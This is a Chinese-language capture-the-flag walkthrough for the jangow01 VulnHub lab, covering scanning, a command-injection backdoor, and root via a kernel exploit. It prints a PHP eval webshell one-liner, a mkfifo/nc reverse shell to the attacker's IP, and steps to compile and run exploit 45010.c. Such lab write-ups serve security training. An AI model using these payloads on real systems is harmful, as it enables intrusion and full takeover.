靶场环境搭建
靶场是jangow01靶场,靶场链接如下
https://www.vulnhub.com/entry/jangow-101,754/
下载过文件之后直接导入虚拟机即可,而后可能会出现没有分配ip地址的情况(如果用的是Vmware Workstation的话),这个时候可能是网卡配置的有问题,可以参考这篇文章进行修改
https://blog.csdn.net/qq_41918771/article/details/103636890
而后自动分配Ip地址后,可能靶机和kali机的ip不在一个C段下,这个时候可以直接把两个虚拟机都设置成桥接模式,这样的话简单有效。
这个时候环境就搭建好了。
攻击
攻击机(kali):192.168.2.191
靶机(jangow01):192.168.2.205
第一步,寻找IP地址,这里我们可以使用arp-scan
来扫描,具体指令如下
arp-scan -l
//-l 从网络接口配置生成地址
这里也可以使用nmap
进行扫描,具体指令如下
nmap -Pn -sV -p- -A 192.168.2.205
/*
-Pn 选项告诉 nmap 将所有主机视为在线并跳过主机发现阶段。
-sV 选项启用版本检测,它会尝试确定在指定端口上运行的服务的版本号。
-p- 选项告诉 nmap 扫描所有 65535 个 TCP 端口。
-A 选项启用操作系统检测、版本检测、脚本扫描和跟踪路由。
总之,这个命令将尝试识别所有打开的端口和在这些端口上运行的服务,还将尝试确定目标主机的底层操作系统和版本号。
*/
21端口和80端口开放,所以我们接下来访问80端口看看
点击Buscar
,疑似发现后门,对参数进行赋值尝试
这个时候可以直接写入小马了,构造指令如下
echo '<?php @eval($_POST[1]);echo "success";?>' >> 3.php
访问3.php
成功写入,蚁剑连接
接下来去反弹shell,本来我们想用的是ne -xxxx e /bin/bash
的,但这里发现没有靶机没有-e
参数,所以只好作罢,这里的话我们可以自己写入shell
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.191 443 >/tmp/f');?>
#本地写好后用蚁剑上传即可
接下来kali
监听443端口,同时网页端访问此文件,即可实现反弹shell
接下来再去调用交互式端口
python3 -c 'import pty;pty.spawn("/bin/bash")'
在var/www/html/site/wordpress
下发现config.php
文件
这里没有ssh,但有ftp
,用它来登录一下
登录失败,但发现var/www/html
下有个.backup
文件
尝试登录这个
成功登录,不过没啥东西。
提权
查看系统版本
为Ubuntu 4.4.0-31
,然后再确定一下系统发行版本
系统发现版本为Ubuntu 16.04
在kali
中使用searchsploit
寻找一下对应漏洞
这里尝试使用45010.c
,先找一下这个文件
接下来在该目录下起一个web服务
python3 -m http.server 48923
靶机用wget
下载
不过这里未下载成功,可能是靶机有限制,所以我们这里可以采用蚁剑上传的形式来进行。
上传到tmp目录过后,我们进行一个编译
gcc -o exp3 45010.c //编译过的文件命名为exp3
接下来执行文件
在/root
目录发现flag